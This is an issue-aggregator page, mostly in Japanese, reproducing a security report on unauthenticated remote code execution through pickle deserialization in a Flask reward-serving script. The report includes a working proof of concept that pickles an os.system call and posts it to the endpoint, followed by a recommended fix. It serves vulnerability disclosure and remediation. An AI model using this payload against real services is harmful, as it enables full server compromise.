Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

[Security] Unauthenticated RCE via Pickle Deserialization in serve_general_reward.py (CWE-502)

オープン
#6 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
45/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
静か
技術スタック
flask, python
領域
api, backend, security

調査の方向性

Start with scripts/serve_general_reward.py:29 and trace how the POST / request body is consumed by the inference endpoint. Review the service's host and communication assumptions before choosing between JSON serialization and authenticated trusted communication. Done means unauthenticated request data can no longer trigger arbitrary deserialization, with the endpoint's intended request handling preserved.

索引モデルが issue の本文から書いたものです。

説明

Summary

CVSS 9.8 (Critical) — Unauthenticated Remote Code Execution via unsafe pickle.loads() on raw HTTP request body in scripts/serve_general_reward.py.

Affected Code

File: scripts/serve_general_reward.py:29

@root.route("/", methods=["POST"])
def inference():
    data = request.get_data()
    payload = pickle.loads(data)  # ← RCE via untrusted deserialization

The Flask endpoint accepts POST requests to / with ZERO authentication. The raw HTTP body is passed directly to pickle.loads(), which executes arbitrary Python code during deserialization.

Impact

Complete server compromise. Any unauthenticated attacker on the network (the host defaults to 127.0.0.1 but can be overridden via GENERAL_REWARD_HOST env var) can:

  1. Execute arbitrary OS commands
  2. Steal ML models and training data
  3. Establish persistence on the server

Proof of Concept

import pickle, os, requests

class Exploit:
    def __reduce__(self):
        return (os.system, ("id > /tmp/pwned_worldr1",))

payload = pickle.dumps(Exploit())
requests.post("http://TARGET:8090/", data=payload)

Fix

Replace pickle with JSON serialization (json.loads). If pickle is required for internal communication, add authentication (HMAC/API key) and only accept connections from trusted sources.

Disclosure

This project does not have Private Vulnerability Reporting enabled. Please enable it at https://github.com/microsoft/World-R1/security. For private coordination: [email protected]

CC @microsoft security team

主要言語
Python
スター
426
フォーク
17
PR マージ指標
30日以内にマージされた PR はありません

コントリビューションガイド

このリポジトリのコントリビューションガイドは索引されていません

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

microsoft/World-R1 のほかの issue

microsoft/World-R1 の issue をすべて見る

似ている issue

Python の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。